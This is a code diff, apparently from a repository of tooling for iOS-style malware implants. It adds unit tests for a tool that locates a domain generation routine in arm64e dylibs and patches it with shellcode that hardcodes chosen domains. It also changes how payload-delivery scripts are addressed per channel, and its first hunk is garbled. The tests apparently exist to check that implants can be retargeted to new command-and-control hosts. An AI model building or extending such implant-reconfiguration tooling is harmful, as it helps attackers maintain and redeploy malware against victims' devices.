# Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy. # Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
data = patch_deployment_scheme_to_http( data = ensure_deployment_scheme_https(
data, expect_hits=1, label=path.name data, expect_hits=1, label=path.name
) )
if channel != ORIGINAL_CHANNEL_ID: if channel != ORIGINAL_CHANNEL_ID:
+82
View File
@@ -0,0 +1,82 @@
"""Tests for fixed-domain DGA discovery / shellcode placement."""
from __future__ import annotations
import struct
import sys
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
from _common import CORE_DYLIB, GROUP_DYLIBS # noqa: E402
from _domain_patch import ( # noqa: E402
_AUTIBSP,
_PACIBSP,
_discover_dga,
iter_slices,
patch_fixed_domains_in_dylib,
)
class DiscoverDgaTests(unittest.TestCase):
def test_group_b_entry_is_pacibsp_not_prev_tail_branch(self) -> None:
blob = GROUP_DYLIBS["B"].read_bytes()
entry, body, end = _discover_dga(blob)
self.assertEqual(body, 0x24E5C)
# Real entry is pacibsp; the word at body-8 is the *previous* function's `b`.
self.assertEqual(entry, body - 4)
self.assertEqual(struct.unpack_from("<I", blob, entry)[0], _PACIBSP)
prev_b = struct.unpack_from("<I", blob, body - 8)[0]
self.assertEqual(prev_b & 0xFC000000, 0x14000000)
# Patch window must cover the arm64e autibsp return sequence.
self.assertEqual(struct.unpack_from("<I", blob, body + 0x360)[0], _AUTIBSP)
self.assertGreater(end, body + 0x360)
def test_group_a_arm64_entry_is_body(self) -> None:
blob = GROUP_DYLIBS["A"].read_bytes()
entry, body, end = _discover_dga(blob)
self.assertEqual(entry, body)
self.assertLess(entry, end)
def test_core_arm64e_slice_entry_is_pacibsp(self) -> None:
data = CORE_DYLIB.read_bytes()
pac_hits = 0
for sl in iter_slices(data):
blob = data[sl.file_offset : sl.file_offset + sl.size]
entry, body, _end = _discover_dga(blob)
if body >= 4 and struct.unpack_from("<I", blob, body - 4)[0] == _PACIBSP:
pac_hits += 1
self.assertEqual(entry, body - 4)
self.assertGreaterEqual(pac_hits, 1)
class FixedDomainPatchTests(unittest.TestCase):
def test_group_b_shellcode_starts_with_pacibsp(self) -> None:
src = GROUP_DYLIBS["B"].read_bytes()
# Use seeds already present in the pristine type0x01.
from _common import ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED
out = patch_fixed_domains_in_dylib(
src,
["kklsdfw.cc"],
["ttrrood.cc"],
deployment_seed=ORIGINAL_DEPLOYMENT_SEED,
reporting_seed=ORIGINAL_REPORTING_SEED,
label="test-B",
)
entry, body, end = _discover_dga(src)
self.assertEqual(struct.unpack_from("<I", out, entry)[0], _PACIBSP)
# Must not overwrite the previous function's trailing branch.
self.assertEqual(
struct.unpack_from("<I", out, body - 8)[0],
struct.unpack_from("<I", src, body - 8)[0],
)
self.assertIn(b"kklsdfw.cc\x00", out[entry:end])
self.assertIn(b"ttrrood.cc\x00", out[entry:end])
if __name__ == "__main__":
unittest.main()
+2 -2
View File
@@ -22,7 +22,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
}, },
"springboard_entries": [ "springboard_entries": [
{ {
"url": "http://[HOST_PLACEHOLDER]/sync/spring.js", "url": "https://[HOST_PLACEHOLDER]/sync/spring.js",
"sha256": "old", "sha256": "old",
"size": 2, "size": 2,
} }
@@ -49,7 +49,7 @@ class UpdateDailyHashesTest(unittest.TestCase):
) )
) )
prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync/" prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync/"
self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js") self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js")
self.assertEqual(result["core"]["sha256"], "core-hash") self.assertEqual(result["core"]["sha256"], "core-hash")
self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js") self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")